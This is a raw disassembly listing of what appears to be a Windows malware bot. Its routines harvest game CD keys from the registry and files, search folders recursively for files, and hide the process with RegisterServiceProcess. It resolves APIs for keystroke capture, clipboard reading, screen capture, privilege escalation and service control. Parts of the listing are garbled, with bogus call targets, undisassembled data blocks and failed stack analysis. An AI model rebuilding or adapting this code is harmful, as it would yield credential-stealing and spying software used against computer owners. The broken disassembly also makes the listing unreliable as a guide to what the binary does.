		push	11h
		push	eax
		call	sub_414F79
		mov	[ebp-38h], eax
		imul	eax, 234h
		mov	ecx, [ebp-3Ch]
		add	esp, 20h
		mov	ds:dword_43F4FC[eax], ecx
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-0D4h]
		push	esi
		push	eax
		push	offset loc_4081F3
		push	esi
		push	esi
		call	near ptr 39D2AC51h
		arpl	[ebx-369637B3h], cx
		xor	al, 2
; ---------------------------------------------------------------------------
		db 2 dup(0), 3Bh
; ---------------------------------------------------------------------------
		mov	byte ptr [ecx+43F50C81h], 0
		jz	short loc_408170


loc_40815D:				; CODE XREF: seg000:0040816Ej
		cmp	[ebp-28h], esi
		jnz	loc_4080C9
		push	5
		call	ds:dword_421060
		jmp	short loc_40815D
; ---------------------------------------------------------------------------


loc_408170:				; CODE XREF: seg000:0040815Bj
		call	ds:dword_421088
		push	eax
		lea	eax, [ebp-2D4h]
		push	offset unk_427C80
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		jmp	loc_4080C9
; ---------------------------------------------------------------------------


loc_408190:				; CODE XREF: seg000:00408069j
					; seg000:0040807Aj
		push	edi
		call	ds:dword_43A400
		push	dword ptr [ebp-40h]
		lea	eax, [ebp-2D4h]
		push	offset unk_427C3C
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4081D3
		push	esi
		lea	eax, [ebp-2D4h]
		push	dword ptr [ebp-34h]
		push	eax
		lea	eax, [ebp-0D0h]
		push	eax
		push	dword ptr [ebp-0D4h]
		call	sub_412D32
		add	esp, 14h


loc_4081D3:				; CODE XREF: seg000:004081B1j
		lea	eax, [ebp-2D4h]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-3Ch]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0B2FEF3DFh
		int	3		; Trap to Debugger
		pop	edi
		pop	esi
		pop	ebx


loc_4081F3:				; DATA XREF: seg000:0040813Do
		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-0C8h]
		rep movsd
		mov	esi, [ebp-2Ch]
		push	1
		mov	[ebp+8], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_43F504[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	dword ptr [ebp-8], 5
		mov	[ebp-5D0h], eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		lea	eax, [ebp-5D4h]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp-4], ebx
		mov	[ebp-5D4h], edi
		call	ds:dword_43A350
		test	eax, eax
		jnz	short near ptr loc_408273+1
		push	dword ptr [esi]
		call	ds:dword_43A400
		push	dword ptr [ebp+8]
		call	sub_415295
		pop	ecx
		push	ebx
		call	near ptr 40B5BB2Dh


loc_408273:				; CODE XREF: seg000:0040825Aj
		rcl	byte ptr [ebx-73h], cl
		test	[eax], esi
		sti
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	68h
		dd 408h, 0FF36FF50h, 43A38015h,	7FC08500h, 0FF36FF18h
		dd 43A40015h, 875FF00h,	0CFF8E8h, 0E8535900h, 0BF5C067h
		dd 30BD8067h, 4FFFFFBh,	1ED850Fh, 0BD800000h, 0FFFFFB31h
		dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh,	0FB38858Dh
		dd 0E850FFFFh, 0D61Ch, 59C08559h, 458D6174h, 858D50BCh
		dd 0FFFFFB38h, 7E046850h, 0D6E80042h, 6800002Eh, 400h
		dd 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h
		dd 0D242E85Dh, 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah
		dd 0B815FF36h, 0FF0043A3h, 15FF36h, 0FF0043A4h,	62E80875h
		dd 590000CFh, 1538E853h, 6A1EA796h, 0E8458D10h,	9E85053h
		dd 660000D2h, 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh
		dd 6AFFFFFBh, 26A5706h,	0E845C766h, 45890002h, 0E815FFECh
		dd 8B0043A3h, 0FFFF83F8h, 15FF5D75h, 43A2FCh, 7DB46850h
		dd 3EE80042h, 6800002Eh, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h
		dd 85C6FFFFh, 0FFFFFB31h, 0D1AAE85Bh, 0C4830000h, 30858D14h
		dd 53FFFFFBh, 0FF50086Ah, 0B815FF36h, 0FF0043A3h, 15FF36h
		dd 0FF0043A4h, 0CAE80875h, 590000CEh, 84BE853h,	8D4F3B0Bh
		dd 106AE845h, 15FF5750h, 43A310h, 75FFF883h, 0FC15FF5Dh
		dd 500043A2h, 427D6068h, 2DCFE800h, 680000h, 8D000004h
		dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh
		dd 0D13BE8h, 14C48300h,	0FB30858Dh, 6A53FFFFh, 36FF5008h
		dd 0A3B815FFh, 36FF0043h, 0A40015FFh, 75FF0043h, 0CE5BE808h
		dd 53590000h, 0F608A3E8h, 68110Ah, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh,	0D0EFE8h
		dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0A3B815FFh
		dd 36FF0043h, 39E857h, 59590000h, 15FF57h, 0FF0043A4h
		dd 15FF36h, 0FF0043A4h,	0FEE80875h, 590000CDh, 83F9E853h
		dd 0FFB5E330h, 15FF36h,	0FF0043A4h, 0E6E80875h,	590000CDh
		dd 3D3DE853h
		db 0D5h, 92h, 12h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4084CD:				; CODE XREF: seg000:0040857Cj
					; seg000:004085ACj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_4084E5:				; CODE XREF: seg000:004084F3j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4084F5
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4084E5


loc_4084F5:				; CODE XREF: seg000:004084EAj
		cmp	ecx, 1
		jnz	short loc_40850A
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_40850A:				; CODE XREF: seg000:004084F8j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	ds:dword_43A350
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	ds:dword_43A260
		test	eax, eax
		jz	short loc_40856A
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_43A380
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085B2
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_43A3B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085B2


loc_40856A:				; CODE XREF: seg000:0040853Cj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_43A260
		test	eax, eax
		jz	loc_4084CD
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_43A380
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085B2
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	ds:dword_43A3B8
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4084CD


loc_4085B2:				; CODE XREF: seg000:00408551j
					; seg000:00408568j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4085B7	proc near		; CODE XREF: seg000:004120EBp

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	ds:off_427E5C, ebx
		mov	[ebp+var_C], 80h
		jz	loc_408769
		push	esi
		push	edi
		mov	eax, offset off_427E5C
		mov	esi, offset dword_427E68
		mov	edi, offset aSCdKeyS_ ;	"%s CD Key: (%s)."


loc_4085E7:				; CODE XREF: sub_4085B7+1AAj
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	ds:dword_43A3D8
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	ds:dword_43A274
		test	eax, eax
		jnz	loc_40874F
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_408713
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4154CD
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_415BC8
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_40874F
		push	eax


loc_408660:				; CODE XREF: sub_4085B7+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41711C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_408708
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_415AA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40868D
		push	[ebp+var_8]
		jmp	short loc_408660
; ---------------------------------------------------------------------------


loc_40868D:				; CODE XREF: sub_4085B7+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_417060
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4086CC
		lea	eax, [ebp+var_70]
		push	offset asc_429060 ; "="
		push	eax
		call	sub_416C78
		push	offset asc_429060 ; "="
		push	ebx
		call	sub_416C78
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4154CD
		add	esp, 20h
		jmp	short loc_4086E3
; ---------------------------------------------------------------------------


loc_4086CC:				; CODE XREF: sub_4085B7+E4j
		lea	eax, [ebp+var_70]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4154CD
		add	esp, 10h


loc_4086E3:				; CODE XREF: sub_4085B7+113j
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40B151
		add	esp, 18h


loc_408708:				; CODE XREF: sub_4085B7+B9j
		push	[ebp+var_8]
		call	sub_415B20
		pop	ecx
		jmp	short loc_40874F
; ---------------------------------------------------------------------------


loc_408713:				; CODE XREF: sub_4085B7+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40B151
		add	esp, 28h


loc_40874F:				; CODE XREF: sub_4085B7+60j
					; sub_4085B7+A2j ...
		push	[ebp+var_4]
		call	ds:dword_43A344
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_4085E7
		pop	edi
		pop	esi


loc_408769:				; CODE XREF: sub_4085B7+19j
		pop	ebx
		leave
		retn
sub_4085B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40876C	proc near		; DATA XREF: seg000:00410A58o

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_415CD0
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_4087C1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_415CD0
		pop	ecx
		mov	[ebp+eax+var_115], bl


loc_4087C1:				; CODE XREF: sub_40876C+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_4290B8
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_415A4A
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_408806
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_412D32
		add	esp, 14h


loc_408806:				; CODE XREF: sub_40876C+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	sub_408884
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset unk_429084
		push	eax
		call	sub_4154CD
		add	esp, 24h
		cmp	[ebp+var_8], ebx
		jnz	short loc_408864
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_412D32
		add	esp, 14h


loc_408864:				; CODE XREF: sub_40876C+D6j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_40B151
		push	[ebp+var_10]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 343A3A35h
		push	ebp
		pop	edi
		pop	esi
		pop	ebx
sub_40876C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408884	proc near		; CODE XREF: sub_40876C+B9p
					; sub_408884+9Ep

var_54C		= byte ptr -54Ch
var_34C		= byte ptr -34Ch
var_248		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+var_248]
		push	offset aS_3	; "%s\\*"
		push	esi
		push	eax
		call	sub_415A4A
		mov	edi, ds:dword_4210A8
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset aSS_3 ; "%s\\%s"
		jz	short loc_408941


loc_4088D0:				; CODE XREF: sub_408884+BBj
		test	[ebp+var_144], 10h
		jz	short loc_40892D
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_4088F4
		cmp	[ebp+var_117], 0
		jz	short loc_40892D
		cmp	[ebp+var_117], 2Eh
		jz	short loc_40892D


loc_4088F4:				; CODE XREF: sub_408884+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_34C]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_415A4A
		push	[ebp+arg_14]
		lea	eax, [ebp+var_34C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408884
		add	esp, 2Ch
		mov	[ebp+arg_14], eax


loc_40892D:				; CODE XREF: sub_408884+53j
					; sub_408884+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		call	ds:dword_4210A4
		test	eax, eax
		jnz	short loc_4088D0


loc_408941:				; CODE XREF: sub_408884+4Aj
		push	[ebp+var_4]
		call	near ptr 0F3610718h
		push	edi
		push	[ebp+arg_C]
		lea	eax, [ebp+var_248]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_415A4A
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4089C7


loc_408978:				; CODE XREF: sub_408884+141j
		lea	eax, [ebp+var_118]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	offset aFoundSS	; " Found: %s\\%s"
		push	200h
		push	eax
		call	sub_415A4A
		push	1
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		call	ds:dword_4210A4
		test	eax, eax
		jnz	short loc_408978


loc_4089C7:				; CODE XREF: sub_408884+F2j
		push	esi
		call	near ptr 82F12177h
		stosb
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408884	endp


; =============== S U B	R O U T	I N E =======================================



sub_4089D6	proc near		; CODE XREF: seg000:0040C6BBp
		push	ebx
		push	ebp
		mov	ebp, ds:dword_4210C8
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, ds:dword_4210C4
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_408AF6
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	ds:dword_43A414, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	ds:dword_43A388, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	ds:dword_43A36C, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	ds:dword_43A288, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	ds:dword_43A234, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	ds:dword_43A264, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	ds:dword_43A2D8, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	ds:dword_43A3C8, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	ds:dword_43A424, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	ds:dword_43A294, eax
		call	esi
		cmp	ds:dword_43A414, ebx
		mov	ds:dword_43A27C, eax
		jz	short loc_408AD4
		cmp	ds:dword_43A388, ebx
		jz	short loc_408AD4
		cmp	ds:dword_43A36C, ebx
		jz	short loc_408AD4
		cmp	ds:dword_43A288, ebx
		jz	short loc_408AD4
		cmp	ds:dword_43A264, ebx
		jz	short loc_408AD4
		cmp	ds:dword_43A2D8, ebx
		jz	short loc_408AD4
		cmp	ds:dword_43A3C8, ebx
		jz	short loc_408AD4
		cmp	ds:dword_43A424, ebx
		jz	short loc_408AD4
		cmp	ds:dword_43A294, ebx
		jz	short loc_408AD4
		cmp	eax, ebx
		jnz	short loc_408ADE


loc_408AD4:				; CODE XREF: sub_4089D6+B8j
					; sub_4089D6+C0j ...
		mov	ds:dword_43A428, 1


loc_408ADE:				; CODE XREF: sub_4089D6+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	ds:dword_43A3A0, eax
		jz	short loc_408B0B
		push	1
		push	ebx
		call	eax
		jmp	short loc_408B0B
; ---------------------------------------------------------------------------


loc_408AF6:				; CODE XREF: sub_4089D6+1Dj
		call	ds:dword_421088
		mov	ds:dword_43A42C, eax
		mov	ds:dword_43A428, 1


loc_408B0B:				; CODE XREF: sub_4089D6+117j
					; sub_4089D6+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_4210C0
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408C20
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	ds:dword_43A3C4, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	ds:dword_43A374, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	ds:dword_43A308, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	ds:dword_43A418, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	ds:dword_43A338, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	ds:dword_43A358, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	ds:dword_43A3BC, eax
		call	esi
		cmp	ds:dword_43A3C4, ebx
		mov	ds:dword_43A2B0, eax
		jz	short loc_408BC4
		cmp	ds:dword_43A374, ebx
		jz	short loc_408BC4
		cmp	ds:dword_43A308, ebx
		jz	short loc_408BC4
		cmp	ds:dword_43A418, ebx
		jz	short loc_408BC4
		cmp	ds:dword_43A338, ebx
		jz	short loc_408BC4
		cmp	ds:dword_43A358, ebx
		jz	short loc_408BC4
		cmp	ds:dword_43A3BC, ebx
		jz	short loc_408BC4
		cmp	eax, ebx
		jnz	short loc_408BCE


loc_408BC4:				; CODE XREF: sub_4089D6+1B8j
					; sub_4089D6+1C0j ...
		mov	ds:dword_43A430, 1


loc_408BCE:				; CODE XREF: sub_4089D6+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	ds:dword_43A334, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	ds:dword_43A248, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	ds:dword_43A304, eax
		call	esi
		cmp	ds:dword_43A334, ebx
		mov	ds:dword_43A2F0, eax
		jz	short loc_408C2B
		cmp	ds:dword_43A248, ebx
		jz	short loc_408C2B
		cmp	ds:dword_43A304, ebx
		jz	short loc_408C2B
		cmp	eax, ebx
		jnz	short loc_408C35
		jmp	short loc_408C2B
; ---------------------------------------------------------------------------


loc_408C20:				; CODE XREF: sub_4089D6+144j
		call	ds:dword_421088
		mov	ds:dword_43A434, eax


loc_408C2B:				; CODE XREF: sub_4089D6+232j
					; sub_4089D6+23Aj ...
		mov	ds:dword_43A430, 1


loc_408C35:				; CODE XREF: sub_4089D6+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408DD0
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	ds:dword_43A3D8, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	ds:dword_43A31C, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	ds:dword_43A38C, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	ds:dword_43A274, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	ds:dword_43A2D4, eax
		call	esi
		cmp	ds:dword_43A3D8, ebx
		mov	ds:dword_43A344, eax
		jz	short loc_408CC0
		cmp	ds:dword_43A31C, ebx
		jz	short loc_408CC0
		cmp	ds:dword_43A38C, ebx
		jz	short loc_408CC0
		cmp	ds:dword_43A274, ebx
		jz	short loc_408CC0
		cmp	ds:dword_43A2D4, ebx
		jz	short loc_408CC0
		cmp	eax, ebx
		jnz	short loc_408CCA


loc_408CC0:				; CODE XREF: sub_4089D6+2C4j
					; sub_4089D6+2CCj ...
		mov	ds:dword_43A438, 1


loc_408CCA:				; CODE XREF: sub_4089D6+2E8j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	ds:dword_43A34C, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	ds:dword_43A324, eax
		call	esi
		cmp	ds:dword_43A34C, ebx
		mov	ds:dword_43A3D4, eax
		jz	short loc_408D05
		cmp	ds:dword_43A324, ebx
		jz	short loc_408D05
		cmp	eax, ebx
		jnz	short loc_408D0F


loc_408D05:				; CODE XREF: sub_4089D6+321j
					; sub_4089D6+329j
		mov	ds:dword_43A438, 1


loc_408D0F:				; CODE XREF: sub_4089D6+32Dj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	ds:dword_43A35C, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	ds:dword_43A250, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	ds:dword_43A258, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	ds:dword_43A2B8, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	ds:dword_43A2BC, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	ds:dword_43A26C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	ds:dword_43A328, eax
		call	esi
		cmp	ds:dword_43A35C, ebx
		mov	ds:dword_43A25C, eax
		jz	short loc_408DB3
		cmp	ds:dword_43A250, ebx
		jz	short loc_408DB3
		cmp	ds:dword_43A258, ebx
		jz	short loc_408DB3
		cmp	ds:dword_43A2B8, ebx
		jz	short loc_408DB3
		cmp	ds:dword_43A2BC, ebx
		jz	short loc_408DB3
		cmp	ds:dword_43A26C, ebx
		jz	short loc_408DB3
		cmp	ds:dword_43A328, ebx
		jz	short loc_408DB3
		cmp	eax, ebx
		jnz	short loc_408DBD


loc_408DB3:				; CODE XREF: sub_4089D6+3A7j
					; sub_4089D6+3AFj ...
		mov	ds:dword_43A438, 1


loc_408DBD:				; CODE XREF: sub_4089D6+3DBj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	ds:dword_43A254, eax
		jnz	short loc_408DE5
		jmp	short loc_408DDB
; ---------------------------------------------------------------------------


loc_408DD0:				; CODE XREF: sub_4089D6+26Aj
		call	ds:dword_421088
		mov	ds:dword_43A43C, eax


loc_408DDB:				; CODE XREF: sub_4089D6+3F8j
		mov	ds:dword_43A438, 1


loc_408DE5:				; CODE XREF: sub_4089D6+3F6j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408EB1
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	ds:dword_43A354, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	ds:dword_43A3AC, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	ds:dword_43A3B4, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	ds:dword_43A370, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	ds:dword_43A298, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	ds:dword_43A244, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	ds:dword_43A3B0, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	ds:dword_43A230, eax
		call	esi
		cmp	ds:dword_43A354, ebx
		mov	ds:dword_43A2CC, eax
		jz	short loc_408EBC
		cmp	ds:dword_43A3AC, ebx
		jz	short loc_408EBC
		cmp	ds:dword_43A3B4, ebx
		jz	short loc_408EBC
		cmp	ds:dword_43A370, ebx
		jz	short loc_408EBC
		cmp	ds:dword_43A298, ebx
		jz	short loc_408EBC
		cmp	ds:dword_43A244, ebx
		jz	short loc_408EBC
		cmp	ds:dword_43A3B0, ebx
		jz	short loc_408EBC
		cmp	ds:dword_43A230, ebx
		jz	short loc_408EBC
		cmp	eax, ebx
		jnz	short loc_408EC6
		jmp	short loc_408EBC
